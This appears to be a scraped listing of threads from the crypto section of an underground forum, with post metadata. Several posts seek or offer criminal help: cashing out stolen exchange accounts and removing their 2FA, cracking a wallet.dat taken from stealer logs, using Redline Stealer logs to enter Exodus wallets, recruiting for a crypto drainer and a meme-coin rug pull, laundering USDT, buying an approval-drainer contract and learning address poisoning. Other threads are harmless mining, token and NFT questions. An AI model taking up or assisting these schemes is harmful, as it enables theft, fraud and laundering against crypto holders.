2Fa Removal and Cashout service for all Crypto Wallets Exchanges or Trading Brokers.

Binance

Poloniex

Bitfinex

Kraken

Bittrex

** Bitmex** ​


Работаем с Binance, Okex, Bittrex, Bitfinex, и другими. 50% и выше в вашу сторону.

Первый контакт в PM

Email : 2famaster@protonmail.com

Telegram : PM​

Нужно направление для получения приватного ключа файла wallet.dat
ID: 67686ad7b4103b69df3798f2
Thread ID: 74439
Created: 2022-10-17T22:13:53+0000
Last Post: 2022-10-18T16:14:07+0000
Author: i0pht
Replies: 3 Views: 245

Здравствуйте друзья, я получил wallet.dat в моем журнале кражи и когда я проверяю его с помощью BL-Tools, он показывает адрес кошелька, который имеет $$$$ внутри и имеет много транзакций, связанных с этим адресом. Я дважды проверяю этот адрес кошелька в bitcoin-explorer, чтобы подтвердить его. После подтверждения баланса я хэширую его, чтобы получить пароль (с помощью другого log-пароля того же человека) и начинаю загружать Bitcoin-qt, и он начинает показывать несколько транзакций, но этот конкретный адрес кошелька не отображается. Поскольку загрузка Bitcoin-qt занимает много времени, я пытаюсь извлечь приватный ключ из консоли (процесс загрузки все еще запущен).

На консоли Bitcoin-qt я выгружаю все кошельки, связанные с wallet.dat, но в нем нет адреса конкретного кошелька, на котором есть деньги.

Я также попробовал pywallet для дампа всех кошельков и там тоже не смог найти упомянутый адрес кошелька.

Затем я попробовал walletinfo.py (<https://github.com/brichard19/core- decrypt>) и получил mkey, mk, ct, salt, iv, rawi, iter и некоторые необработанные данные.

Есть ли способ получить приватный ключ (указанный адрес кошелька) из mkey? так как у меня уже есть пароль кошелька.

Или любой другой способ, как я могу получить приватный ключ от этого конкретного адреса кошелька?

Пожалуйста, укажите правильное направление, за любую помощь буду очень благодарен.
Спасибо.

У него есть история транзакций (как получение, так и отправка, я проверил ее через blockchain explorer), так что это не адрес только для наблюдения, я полагаю.

Через консоль Bitcoin-qt -> dumpprivkey -> показать код ошибки -4.

Отработка/вывод api binance и других криптобирж
ID: 67686ad7b4103b69df37995f
Thread ID: 68071
Created: 2022-06-03T08:45:12+0000
Last Post: 2022-06-03T08:45:12+0000
Author: Sombit
Replies: 0 Views: 245

Помощь в отработке и выводе с криптобирж, работаю с API ключами и cookie. Работаю с биржами Binance, Huobi, Kraken, OKEX, Bittrex и др. В работу беру аккаунты binance от 3000$, остальные биржи по согласованию. Связь тг. @Fantickkk

У меня есть нфти коллекция, что с ней можно сделать?
ID: 67686ad7b4103b69df3797c1
Thread ID: 104122
Created: 2023-12-15T13:19:37+0000
Last Post: 2023-12-15T15:34:37+0000
Author: Frovio
Replies: 1 Views: 244

Есть нфти коллекция, сделал по фану, периодически добавляю нфти на ниаре

paras.id

[ The Crypto Dude Club - Paras ](https://paras.id/collection/the-crypto-

dude-club-by-cryptodudeclubnear)

Crypto Dude Club is an NFT collection created by a girl from Ukraine. She dedicated this collection to himself and in each photo he showed people who are somehow related to him. Everyone who buys this card will get a chance to get a monthly royalty from the collection.

paras.id

Чем прочитать блокчейн?
ID: 67686ad7b4103b69df37987b
Thread ID: 84571
Created: 2023-03-27T03:33:06+0000
Last Post: 2023-03-30T12:24:39+0000
Author: alex778
Replies: 2 Views: 244

Хочется намутить что-то вроде локального блокчейн эксплорера. Если есть полная база битка, вопрос - чем её читать? На коленке сам накидал простую потоковую читалку, но там ведь адресов то нет, а только всякие подписи. Вижу по исходникам libbitcoin, что прямо из подписи можно как-то вымутить и адрес кошелька, но повторить и заставить работать циганский код пока не смог. Отсюда вопрос - есть ли что-то готовое и простое?

Ретроперспектива по всему web3-CIS за 2022 и начало 2023 года
ID: 67686ad7b4103b69df3798a4
Thread ID: 81693
Created: 2023-02-10T20:58:34+0000
Last Post: 2023-02-12T04:38:49+0000
Author: Palem58
Replies: 1 Views: 243

https://teletype.in/@maxycrypto/web3_retrospective_2022 опять рекомендую данного человека ,ибо слежу за ним и максимально интересно он излагает информацию , а это саммари по всему СНГ крипто телеграму ,всем удачного прочтения и быстрого развития.
Всех поцеловал 😘

Обмен в РБ
ID: 67686ad7b4103b69df3798ed
Thread ID: 75258
Created: 2022-11-04T19:23:43+0000
Last Post: 2022-11-05T12:25:08+0000
Author: rrv321
Replies: 1 Views: 243

Подскажите, нужен обменник в Беларусси
биток на рубли менять
Буду премного благодарен если есть варики

Подскажите название форумов из статьи о крипто
ID: 67686ad7b4103b69df379904
Thread ID: 73303
Created: 2022-09-17T07:35:00+0000
Last Post: 2022-09-17T14:40:47+0000
Author: android_john
Replies: 2 Views: 243

Есть занимательная сатья о фишинге в области крипто

medium.com

[ Immunefi’s Guide to Crypto Phishing Attacks (and the Hackers Who Plot

Them) ](https://medium.com/immunefi/immunefis-guide-to-crypto-phishing- attacks-and-the-hackers-who-plot-them-f6a9fd8c9a65)

When it comes to crypto hacks and heists, blackhat hackers favor phishing attacks as their main intrusion vector. This trend is…

![medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2F1%2Am- R_BkNf1Qjr1YbyOIJY2w.png&hash=9809f5c71930a08402088e4ac6d06310&return_error=1) medium.com

Подскажите названия форумов на скриншотах в статье.
Или просто форумы где более активно обсуждают различные серые схемы с применением смарт контрактов.

Как снять крипту в Германии?
ID: 67686ad7b4103b69df37997c
Thread ID: 65445
Created: 2022-04-10T15:20:32+0000
Last Post: 2022-04-10T15:56:16+0000
Author: Mestikon
Replies: 4 Views: 241

Доброе время всем.
Вообщем вопрос, как снять эфир, биток и тд в Германии?

Майнинг
ID: 67686ad7b4103b69df3799c5
Thread ID: 59239
Created: 2021-11-24T09:28:27+0000
Last Post: 2021-11-24T09:45:45+0000
Author: cryptobot
Replies: 4 Views: 241

Всем добра!
Собственно сабж, несколько знакомых(самое удивительное, что прекрасного пола), попросили помочь им начать майнить. Собственно, что у них есть:
1. Для старта от 0.5 до 1 единицы деревянных(далее увелечение бюджета);
2.Помещение;
3.Бесплатная розетка, но потребление до 15-30кВт;
4.Огромное желание этим заняться (хотя предлогали им в эти качели еще в 11-13гг залезть);
5. Возможность привезти оборудование из китая, т.е. ценник дешевле чем в "Неризиновске";
Сообственно вот и встал вопрос, какое им оборудование для начала взять и какие монеты поставить на добычу?

П.С.: палками не кидайтесь, колесо не мое!!! Но помочь мадамам надо)))

P2P-связка
ID: 67686ad7b4103b69df379748
Thread ID: 112819
Created: 2024-04-18T18:46:47+0000
Last Post: 2024-04-18T18:46:47+0000
Author: k0teno4ek
Replies: 0 Views: 239

Всем привет, в связи с жизнеными обстоятельствами(не спрашивайте какими), приходиться продавать свою p2p-связку. Связка работает в России и крутиться на биржах ByBit и Walletbot.me в тг. Спред 3-5% за круг. Почему 3-5%? ну это условно, так как чтобы быстрее крутить круг, нужно держаться в топе стакана, а курс на биржах обновляется автоматитечески, а арбиражники, не охотно редактируют свои объявление на p2p маркете. Главная проблема, это всё же обмен крипты на фиат и обратно, поэтому для хорошего заработка, нужны будут дропы с лк банками. С среднем с банка в 100'000 рублей, за круг выходит чистыми 4'000. Окупаемость
зависит от начального капитала и количества сделанных кругов в день, так как, к примеру можно посадить 2 человек с банков в 100'000 каждому и в среднем в день они будут делать по 5 кругов, следовательно 4'000×5×2×кол-во дней. 3-5%от начального капитала × кол-во кругов × кол-во рук × кол-во дней - затраты на банки и по этой формуле, можно посчитать время окупаемости. Ладно, если кого заинтересует, пишите в лс формума или в тг @geek_1703, там подробнее всё распишу. Сделка через гаранта форума, обязательно, чтобы и вам и мне было спокойнее. (за грамматику и пунктуацию прошу прощения) и пожалуйста не задавайте вопросов в стиле "а че сам по ней не работаешь?".
Цену вижу в 5к$.

Flash loan attack. Нужны подробности.
ID: 67686ad7b4103b69df379925
Thread ID: 71317
Created: 2022-08-08T15:24:31+0000
Last Post: 2022-08-08T18:28:16+0000
Author: madheller404
Replies: 1 Views: 239

Тема арбитража на DEX весьма актуальна. На ютубе есть мануалы, но не совсем ясно, сколько нужно вкладывать, чтоб часа через 3 нормальный профит иметь. Кто-то говорит, что от 0.15 BNB (работаю с PancakeSwap), а кто и все 10 BNB ставит. На данный момент испытываю финансовые трудности и позволить себе так раскошелиться не могу. Вопрос, начиная с какой суммы имеет смысл проводить FL attack?

брут wallet.dat
ID: 67686ad7b4103b69df37994b
Thread ID: 69327
Created: 2022-06-28T12:22:25+0000
Last Post: 2022-06-28T13:33:19+0000
Author: Couley Erma
Replies: 2 Views: 239

У кого то имеются взломанные хеши wallet.dat либо базы формата хеш-пароль? Может кто-то занимается конкретно брутом wallet.dat?

Аналоги LockBitcoins и Bitzlato есть достойные?
ID: 67686ad7b4103b69df379884
Thread ID: 84366
Created: 2023-03-23T15:56:33+0000
Last Post: 2023-03-23T16:55:53+0000
Author: T3atral
Replies: 2 Views: 238

Сабж! Где сейчас можно с такой же лёгкостью менять бирки на фиат и обратно? Знаю BitPapa но почему-то нет доверия к ним

How to login into exodus wallet (with Redline Stealer logs)
ID: 67686ad7b4103b69df379909
Thread ID: 73003
Created: 2022-09-11T07:39:00+0000
Last Post: 2022-09-11T08:18:51+0000
Author: DanteXDark
Replies: 1 Views: 237

Hi guy i got some crypto wallet logs and i want to login into exodus wallet with the help of dumped logs, i know how to abuse metamask and other cbrowser extension wallets but need to know about exodus. HELP WILL BE APPRECIATED :)

Лояльные биржи
ID: 67686ad7b4103b69df3797a3
Thread ID: 106548
Created: 2024-01-24T08:41:43+0000
Last Post: 2024-01-24T13:49:15+0000
Author: larryalcina
Replies: 1 Views: 235

Всем привет. Кто трейдит или активно пользуется биржами - подскажите какие сейчас наиболее лояльные?
В плане, что хотя бы видеовериф не требуют

Top 5 Smart contract vulnerabilities
ID: 67686ad7b4103b69df379897
Thread ID: 82852
Created: 2023-02-27T21:06:58+0000
Last Post: 2023-02-27T21:18:58+0000
Author: omerta
Replies: 1 Views: 235

1. Reentrancy: A vulnerability that allows attackers to repeatedly call a contract’s function and extract funds from the system by continually draining it of its assets.

2. Unchecked Call Return Values: An issue that allows Ethereum addresses to send ETH to an incorrect address because the return value of the sending transaction was not checked properly.

3. Integer Overflow/Underflow: A flaw which results in incorrect calculations due to the maximum or minimum value being exceeded.

4. Unprotected Functions: Functions that should be kept secure, but have been left open and unsecured, leaving them vulnerable to attacks.

5. Insecure Randomness: A problem where malicious parties can predict and control outcomes in smart contracts which use these functions to generate random numbers.

6. Unprotected Ether Wallets: Key storage mechanisms which are vulnerable to attackers who can steal funds and modify the contents of the wallet.

Какой кошелек выбрать
ID: 67686ad7b4103b69df37965b
Thread ID: 129437
Created: 2024-12-21T10:52:22+0000
Last Post: 2024-12-21T12:02:04+0000
Author: Dron
Replies: 4 Views: 234

Добрый день,

Подскажите в какой плагин поддерживает наибольшие количество различных крипто валют, требуется найти где возможно управлять данными койнами:

BTC
BCH
ETH
ETC
LTC
XMR
SOL
DOG
TRX
TRC20 USDT-TRC20
DEP20 USDT-ERC20
XLM
BNB
DAI
ATM
XRP

Ваше мнение насчет монетки
ID: 67686ad7b4103b69df3797b9
Thread ID: 104853
Created: 2023-12-30T01:48:22+0000
Last Post: 2023-12-30T04:02:28+0000
Author: gamedev
Replies: 1 Views: 234

Есть ли потенциал у драго?) Или очередной скамкойн

Способ загрузки документов для проверки на binance?
ID: 67686ad7b4103b69df379942
Thread ID: 69740
Created: 2022-07-06T13:41:54+0000
Last Post: 2022-07-11T13:25:33+0000
Author: Sm1Le_777
Replies: 2 Views: 234

Надоели уже мне отработчики, супер-чекеристы логов. Хочу научиться отрисовывать и снимать 2fa с бирж, хоть на небольших балансах есть такая сейчас возможность. Подскажите такой вопрос по бинансу, как теперь грузить фото туда, после ответов на все вопросы, появляются такие таблички, что либо с камеры телефона можно фото сделать или с ПС. Заранее благодярю за ответы.
1657114853936.png1657114864910.png

Создаем свой токен в Binance Smart Chain
ID: 67686ad7b4103b69df37999b
Thread ID: 62661
Created: 2022-02-08T21:59:55+0000
Last Post: 2022-02-08T21:59:55+0000
Author: matanga
Replies: 0 Views: 234

Начнем создавать собственный токен в Binance Smart Chain стандарта BEP-20.
Для работы используем MetaMask и настроим его на тестовую сеть BSC
Screenshot_20220209_003533.png
Забиваем следующие параметры:

  1. BSC testnet (можно Testnet BSC, Binance Testnet... да все что угодно, лишь бы было связано с бинансом и тестнетом, чтобы потом не перепутать);
  2. https://data-seed-prebsc-1-s1.binance.org:8545/
  3. 94
  4. BNB
  5. https://testnet.bscscan.com

Сохраняем и метамаск готов к употреблению.
Добываем тестовый BNB здесь[ССЫЛКА](https://testnet.binance.org/faucet- smart). Вставляем адрес кошелька, жмем "Give me BNB" и выбираем "1 BNB" .
Пойдем пилить смарт-контракт для токена, а пилить мы его будем там же, где пилят смарт-контракты для Ethereum на языке программирования Solidity.
https://remix.ethereum.org/ В редакторе жмем символ листа бумаги (Create New File) и создается файл, название которому вы выбираете сами. Я создал TEST.sol Код можно взять готовый и оформить под себя.Оставлю код в прикрепленных.
Вставили наш смарт-контракт в редактор REMIX и правим поля:
Screenshot_20220209_005034.png

К слову в простеньких смарт-контрактах можно настроить много параметров и указать даже возможность дополнительной эмиссии, но это уже углублено.

Поправили смарт-контракт.
Переключаемся на Solidity Computer - это вторая иконка слева сверху вниз.
Выбираем версию Solidity, которую видно в первой строке вашего смарт- контракта, если вы его взяли из интернета.
pragma solidity ^0.4.21;
В нашем случае старая 0.4.21.
471118872_2.png.c081f89670935edaad682c4507c997a3.png
Жмем Compile Ваш проект.sol
Если компилятор не выдал ошибок, значит все сделали верно!
Переключаемся вниз на третью иконку слева и изображением эфирки. Здесь в выпадающем меню ENVIRONMENT выбираем инъекцию "Injected Web3 ", после чего MetaMask попросит разрешения приконнектится к REMIX.
Теперь деплоим смарт-контракт в сеть.
900453512_4.png.1296a727d123b838f9c5cff69c8344bc.png

Теперь открывается метамаск и мы оплачиваем комиссию чуть больше 0.01 BNB для размещения токена в сети.
Не забываем что я использовал тестовую сеть!!!
212314475_.png.e026361a7fac033eb2186a6ef9b5a57a.png
Нажимаем в MetaMask активность, где видим действие "Развертывание контракта ". Жмем на него и вверух после слова Детали видим маленькую стрелочку, по которой и переходим.
Попадаем в тестовую версию эксплорера BSC, где в транзакции после текста "Interacted With (To) :" находим адрес смарт-контракта, который и копируем.
В активах МетаМаск жмем "Добавить токен " и вставляем адрес смарт- контракта.
Все. Токены у вас на балансе.

Я протестировал их отправку на другой свой адрес в тестовой сети и все моментально прошло.

В майннете BSC все делается точно также, но деплой будет оплачиваться реальными монетами BNB.

На этом все , теперь у вас есть своя монета.

Отзывы на криптоадреса
ID: 67686ad7b4103b69df379853
Thread ID: 88911
Created: 2023-05-25T19:31:29+0000
Last Post: 2023-05-26T05:32:15+0000
Author: baykal
Replies: 1 Views: 233

Искал себе, вдруг кому-то еще пригодится

Bitcoin Abuse Database

www.bitcoinabuse.com www.bitcoinabuse.com

Ransomwhere

Ransomwhere is the open, crowdsourced ransomware payment tracker.

ransomwhe.re ransomwhe.re

https://scam-alert.io/

https://checkbitcoinaddress.com/

https://bitcoinwhoswho.com/

Stay safe, check if wallets are scam!

Cryptscam - The database with reports of malicious wallets to which you should never send money!

cryptscam.com cryptscam.com

BitcoinAIS.com | Track Abusive Bitcoin addresses

Bitcoin Abuse Information Services tracks bitcoin frauds, scammers and spammers using blackmailing and ransomware.

bitcoinais.com bitcoinais.com

Cloud Mining
ID: 67686ad7b4103b69df3799dc
Thread ID: 57267
Created: 2021-10-01T13:20:39+0000
Last Post: 2021-10-11T22:59:36+0000
Author: AMG_1337
Replies: 1 Views: 233

Порекомендуйте сервисы cloud mining у которых хорошия репутация, не являются пирамидами, и с хорошей окупаемостью

как настроить solo mining пул ?
ID: 67686ad7b4103b69df3797dd
Thread ID: 99915
Created: 2023-10-12T10:34:06+0000
Last Post: 2023-10-12T11:49:47+0000
Author: b1n
Replies: 1 Views: 230

Ищу мануалы или любую информацию по настройке Solo mining пула !

SetApprovalforAll
ID: 67686ad7b4103b69df379678
Thread ID: 128141
Created: 2024-12-03T12:59:20+0000
Last Post: 2024-12-03T12:59:20+0000
Author: MaskaaaA
Replies: 0 Views: 229

Куплю готовое решение или же заплачу за разработку.
Что то по типу SetApprovalforAll Смарт контракт ,Одобрение данной функции означает предоставление доступа ко всем ERC20-токенам и NFT
Взаимодействие с Qr code

Token Price
ID: 67686ad7b4103b69df37987f
Thread ID: 84726
Created: 2023-03-28T20:38:34+0000
Last Post: 2023-03-29T05:28:04+0000
Author: enygma
Replies: 2 Views: 229

Привет, ребята, надеюсь, у вас все хорошо

В последнее время я задаюсь вопросом, как легко сделать мошеннический токен, доступно ли что-то каждому и при наличии правильных знаний все возможно.

Но есть только одна вещь, которая чешет мне затылок, и вопрос на миллион долларов заключается в следующем:
После создания токена мне нужно присвоить ему значение. Если я создам, например, 1 миллион токенов и предоставлю 250 $ ликвидности на Panckaque Swap, это означает, что если кто-то захочет купить полный 1 миллион монет, это будет стоить всего 250 $?

Заранее спасибо!

PancakeSwap Front Run Contract Bot
ID: 67686ad7b4103b69df3799bb
Thread ID: 59774
Created: 2021-12-07T02:00:45+0000
Last Post: 2021-12-07T02:00:45+0000
Author: n3xtr4n
Replies: 0 Views: 228

I would like to know if this is for real or just a kind of scam. I have checked the code, it looks all good. then, I tried it out with some BNB and nothing comes back. is this a scam?

Ресурсы для просмотра крипты на кошельках
ID: 67686ad7b4103b69df379922
Thread ID: 71465
Created: 2022-08-11T04:52:38+0000
Last Post: 2022-08-11T04:52:38+0000
Author: Vaultboy
Replies: 0 Views: 226

Всех приветствую. Хотел бы узнать, на каких сайтах можно посмотреть какие монеты/нфт хранятся на кошельке? Может быть есть ресурс, который объединяет всю информацию о кошельке? Например показывает ещё и скрытые токены. Кроме этих:
debank.com
poocoin.app
zapper.fi

Проблемы с обменом
ID: 67686ad7b4103b69df3798f3
Thread ID: 74371
Created: 2022-10-15T14:32:06+0000
Last Post: 2022-10-17T16:44:17+0000
Author: DigitalScout
Replies: 4 Views: 225

Возникла проблема с обменом тезера на другие валюты(крипто). Кошелёк(TrustWallet) просто не даёт токен trc20 как возможный, что если не через обмен разменять, а через "получить-отправить"? Всё нормально придёт?
Извините за глупый вопрос, но сумма серьёзная для меняю

MyAlgo advises users to withdraw funds following $9.2M hack
ID: 67686ad7b4103b69df379895
Thread ID: 82906
Created: 2023-02-28T14:13:32+0000
Last Post: 2023-02-28T16:57:54+0000
Author: stgpp0r5
Replies: 1 Views: 224

The Algorand wallet provider reported it still hasn’t determined the cause of exploit that’s drained millions in ALGO, urging users to withdraw funds from wallets created with a seed phrase:

__https://twitter.com/x/status/1630185695791706120

Подскажите как ускорить транзакцию в сети бтц
ID: 67686ad7b4103b69df379818
Thread ID: 94557
Created: 2023-08-01T22:33:12+0000
Last Post: 2023-08-01T23:25:18+0000
Author: OCR
Replies: 4 Views: 222

Интересно подпихивать транзакции которые уже созданы с минимальной комисс и не получили не одного конфирма сети.

Нужна TRON нода с поддержкой estimateEnergy
ID: 67686ad7b4103b69df3797a8
Thread ID: 106350
Created: 2024-01-21T22:15:53+0000
Last Post: 2024-01-22T19:08:24+0000
Author: bitnepobit
Replies: 2 Views: 221

Ловлю такую ошибку (api.trongrid.io)

[UnhandledPromiseRejection: This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason "this node does not support estimate energy".]

Click to expand...

Кто сталкивался подскажите какие ноды поддерживают эту функцию - https://developers.tron.network/reference/estimateenergy-1
Изначальная задача вообще подсчет нужного кол-ва TRX для transfer(address,uint256) в смарт-контракте usdt
Буду благодарен за помощь

Ищу Маркетолога
ID: 67686ad7b4103b69df3798b1
Thread ID: 80966
Created: 2023-01-31T10:17:05+0000
Last Post: 2023-01-31T10:17:05+0000
Author: Apostolj
Replies: 0 Views: 221

Ищу маркетолога или человека у которого есть идеи о распространении NFT и токена

Приостановлен вывод средств криптовалюты с бирж ? Поможем !
ID: 67686ad7b4103b69df3798bc
Thread ID: 80399
Created: 2023-01-21T10:57:10+0000
Last Post: 2023-01-21T10:57:10+0000
Author: lord551123
Replies: 0 Views: 221

Доброго времени ! Многие сталкиваться с блоками на бинансе и других биржах , когда просят повторную верификацию , видео с паспортом , выписки , скрины с кошелька отправителя . Были и такие куда заходила грязная крипта , поддержка блокирует вывод и просит по видео заявлению вернуть крипту владельцу . Проконсультирую , помогу с выводом / разблокировкой . Есть опыт в данной тематике т.к сам имеел большое количество кошельков с различными блоками . Думаю что многим будет полезна такая услуга тг lord551123

Как обменять EUR на RUB
ID: 67686ad7b4103b69df379733
Thread ID: 114433
Created: 2024-05-13T10:40:58+0000
Last Post: 2024-05-13T10:40:58+0000
Author: DedJhones
Replies: 0 Views: 220

Желательно без конских комиссий и верифа

Electrum
ID: 67686ad7b4103b69df3799e2
Thread ID: 57013
Created: 2021-09-23T18:21:59+0000
Last Post: 2021-09-23T18:54:26+0000
Author: Kelegen
Replies: 1 Views: 220

Нужен 1 человек кто хорошо разбираеться(долго работает с ним) в приват ключах, Электруме и тд
Напиши в ЛС свой TOX, нужно пообщаться

Кошелек с мультиподписью USDT
ID: 67686ad7b4103b69df37981b
Thread ID: 94381
Created: 2023-07-30T20:29:32+0000
Last Post: 2023-07-31T02:20:55+0000
Author: shamanmsk
Replies: 1 Views: 219

Приветствую.

Подскажите нормальный кошелек с мультиподписью для USDT (ERC-20, TRC-20).

К примеру есть 3-4 подписанта, средства с кошелька отправятся только при наличии подписи 3-4 человек.

Спасибо.

Очистка крипты через Mining pools
ID: 67686ad7b4103b69df37983c
Thread ID: 90760
Created: 2023-06-17T18:15:02+0000
Last Post: 2023-06-17T18:40:22+0000
Author: dobrij_doc
Replies: 2 Views: 219

Сабж. Вопрос в заголовке. Через какие Mining pools вы работали? Поделитесь подводными камнями.

Liquid
ID: 67686ad7b4103b69df379977
Thread ID: 65487
Created: 2022-04-11T23:16:05+0000
Last Post: 2022-04-15T17:05:16+0000
Author: Marakesh
Replies: 3 Views: 218

Подскажите для чего люди скупают аккаунты биржи Liquid?
Уж очень интересно стало

нужен рекламный партнер
ID: 67686ad7b4103b69df379756
Thread ID: 111601
Created: 2024-03-30T13:13:34+0000
Last Post: 2024-03-30T13:13:34+0000
Author: MoneroMafia
Replies: 0 Views: 217

нужен хороший партнер по рекламе работы криптослива, делящий это из расчета 50/50 от заработка, доступно несколько сайтов, подробнее в дм

need a good partner in advertising the work of the crypto drainer, sharing this on the basis of 50/50 of the earnings, several sites are available, more details in dm

MEME coin season
ID: 67686ad7b4103b69df379856
Thread ID: 88807
Created: 2023-05-24T15:51:15+0000
Last Post: 2023-05-24T16:51:52+0000
Author: katg
Replies: 4 Views: 217

Hey who wants to team up for a meme coin rug?

Crypto Domains
ID: 67686ad7b4103b69df3798f6
Thread ID: 74324
Created: 2022-10-14T09:52:41+0000
Last Post: 2022-10-14T23:01:49+0000
Author: redkite808
Replies: 1 Views: 217

Are there any interesting crypto domain websites worth checking out?

How do you find new crypto domain websites?

Как поместить несколько транзакций в один блок? BSC
ID: 67686ad7b4103b69df3798f5
Thread ID: 74392
Created: 2022-10-16T06:11:04+0000
Last Post: 2022-10-16T11:09:36+0000
Author: Code
Replies: 3 Views: 216

/del

Ouroboros
ID: 67686ad7b4103b69df3799d5
Thread ID: 58410
Created: 2021-11-01T10:30:56+0000
Last Post: 2021-11-03T05:45:24+0000
Author: M8GG
Replies: 2 Views: 215

собственно появилась еще одна крипта ее название ouroboros по факту принцип парамайнинга, также и работаетprizm.

Не много информации где она продается**-**

[ Торги OURO/USD, Цена 0,000014 OURO/USD ](https://btc-

alpha.com/ru/trade/OURO_USD)

Торги OURO/USD, Цена 0,000014 OURO/USD

![btc-alpha.com](/proxy.php?image=https%3A%2F%2Fbtc- alpha.com%2Fru%2Ftrade%2FOURO_USD%2F&hash=87110e6e19427a427607d04dc3537c07&return_error=1) btc-alpha.com

Я тут недавно написал что БИТКОИН будет рано или поздно стоить 100к или приблизительно, оно так и будет, но хотелось бы еще вкладываться покупать за копейки такие вот проекты, малоли стрельнет, что-то о ней слышу постоянно последнее время, кто-то говорит SCAM хотелось бы услышать мнение ваше.

binance trader
ID: 67686ad7b4103b69df379986
Thread ID: 64803
Created: 2022-03-25T11:37:59+0000
Last Post: 2022-03-25T23:32:56+0000
Author: m0dHEX
Replies: 1 Views: 213

Привет уважаемые жители форума. Интересует бот трейдет на бинансе. Если кто-то работает с ботами и имеет опыт работы с этими ботами то было бы чудесно поделиться опытом.

Миксеры криптовалют
ID: 67686ad7b4103b69df379666
Thread ID: 129024
Created: 2024-12-16T05:09:50+0000
Last Post: 2024-12-16T05:09:50+0000
Author: need-call
Replies: 0 Views: 212

Доброго времени суток! Братцы заинтересовался темой отбеливания USDT, подскажите кто какие сервисы использует?
Возможно кто нибудь может поделится вариантом отбеливания крупных сумм самостоятельно. Буду рад любой конструктивной активности в теме, признателен любым вариантам получить AML не больше 5-10%. Кто как считает, наскольо хорошый показатель AML поможет отсаться незамеченым?

Анализ NFT проекта.
ID: 67686ad7b4103b69df3798ef
Thread ID: 74951
Created: 2022-10-31T06:18:29+0000
Last Post: 2022-10-31T06:18:29+0000
Author: Lum3n
Replies: 0 Views: 212

Приветствую всех, Друзья!

Решил поделиться своим методом анализа NFT проекта.

Не судите строго!

Анализ NFT проекта:

1. Размер аудитории (Подписчики в соц.сетях).

2. Активность и качество аудитории (Лайки, репосты и комментарии за последние сутки, обычный пост.
После идём в Discord, смотрим какая там активность в чатах + реакции в анонсах).

3. Наличие в подписчиках влиятельных людей (Twitter).

4. Сотрудничество с сильными проектами (Розыгрыши).

5. Хайп вокруг проекта (Его можно измерить количеством упоминаний в соц.сетях.
Хэштеги в Twitter, Instagram.
Видео в YouTube.
Количество упоминаний = размер хайпа!
Так же можно посмотреть розыгрыши данного проекта (Лайки, репосты, комментарии)).

6. Команда проекта (Открытость и популярность команды.
Изучение соц.сетей команды).

7. Качество артов (Аватаркаемкость, уникальность, не рефрен, не коллекция номер 2).

8. Сроки маркетинговой компании (Это время от открытия Discord или запуска Twitter аккаунта до момента минта.
Чем срок больше, тем лучше будет проект).

9. Сайт проекта (Качество сайта).

10. Road map (Важно понять, идет проект в ногу со своим планом или нет, отставание от плана и частый перенос минта, красный флаг!
Пунктуальность и выполнение обещаний.
Постоянство.
Оригинальная механика NFT (Стейкинг, сжигание, геймификация).

11. Токеномика (Очень важно, чтобы все NFT из коллекции были распроданы.
Желательно до 5000 NFT, стоимостью в 0.05 Eth.
0.05 Eth проще сделать 10x).

12. Сложность получения WL (Данную информацию можно узнать в чатах Discord или в новостных каналах Telegram).

13. Стоимость WL (Данную информацию можно узнать в OTC чатах.
Стоимость и востребованность WL, говорит о том, что нужно заниматься данным проектом, WTB).

Сервисы:

1. https://upcomingnft.net/
2. https://rarity.tools/
3. https://www.followeraudit.com/

Подборка полезных NFT сервисов - <https://nft-arty.com/ru/poleznye-nft- servisy/> (Не реклама!)

Таблица с фондами - <https://mega.nz/folder/ZTUXwSYA#6X5OoKWje- y_SeqGLGWJQA>

Искренне надеюсь, что принёс пользу сообществу.

Благодарю за внимание!

Trezor .mtdt файл
ID: 67686ad7b4103b69df379906
Thread ID: 72919
Created: 2022-09-09T06:56:35+0000
Last Post: 2022-09-14T11:06:01+0000
Author: mmaker
Replies: 1 Views: 212

Подскажите плз, есть файлы с расширением .mtdt , Можно их как-то открыть/вскрыть ?

the best payment gateway for cryptocurrencies
ID: 67686ad7b4103b69df3799b1
Thread ID: 60895
Created: 2022-01-05T14:38:09+0000
Last Post: 2022-01-05T14:38:09+0000
Author: tcpx51
Replies: 0 Views: 211

Hello everyone, which payment gateway with international support with not so high commissions do you recommend to receive virtual currencies in an electronic commerce? thank you, I appreciate your answers

Searching for crypto exchange software
ID: 67686ad7b4103b69df379881
Thread ID: 84712
Created: 2023-03-28T17:04:50+0000
Last Post: 2023-03-28T17:04:50+0000
Author: subm3tric
Replies: 0 Views: 210

Hello guys. Where can i find crypto exchange software just to have it on my site without anything special for crypto scam ?

Как создать seed 132 бита энтеропии 12 слов?
ID: 67686ad7b4103b69df379762
Thread ID: 110864
Created: 2024-03-20T08:38:46+0000
Last Post: 2024-03-20T08:50:25+0000
Author: PieroBruno
Replies: 1 Views: 208

Такая задача есть 2048 слов bip39 и хочу реализовать создании сидки под электрум. Можете подсказать как это сделать на python? Либо хотя бы проверку на 132 бита этеропии.

Electrum currently use the same wordlist as BIP39 (2048 words). A typical seed has 12 words, which results in 132 bits of entropy in the choice of the seed.

Пара вопросов по электруму
ID: 67686ad7b4103b69df379868
Thread ID: 86883
Created: 2023-04-28T20:18:18+0000
Last Post: 2023-04-28T20:42:24+0000
Author: ded9aw23
Replies: 3 Views: 207

Приветствую! Вознило пару вопросов.

1. При получениии обязательно ли заполнять поля: "Описание" и "Запрашиваемая сумма"?
2. Как генерировать при каждом получении новый адрес?

Подскажите как задать свой адрес WAX
ID: 67686ad7b4103b69df37973d
Thread ID: 113414
Created: 2024-04-27T12:04:44+0000
Last Post: 2024-04-27T12:04:44+0000
Author: FinTech
Replies: 0 Views: 206

Господа добрый день! Ищу способ как задать свой адрес в WAX. Пробовал делать через WAX Cloud - работает, но только на 1 транзу, после первой уже не доходят, хотя по БЧ все четко, пишет "Успешно" - ошибок нету. Так же пробовал делать по данному мануалу - https://teletype.in/@nftkot/lZkCD-dXLgj

Но в конце получаю ошибку при создании уже своего адреса.

Address Poisoning tutorial
ID: 67686ad7b4103b69df379778
Thread ID: 109570
Created: 2024-03-03T14:34:09+0000
Last Post: 2024-03-03T14:34:09+0000
Author: pierre777reborn
Replies: 0 Views: 206

I'd like to perform address poisoning scam

I found something on coursehero however it's locked <https://www.coursehero.com/file/221203107/ETHEREUM-ADDRESS-POISONING- METHOD-2023pdf/>

Does anyone know how to perform this scam

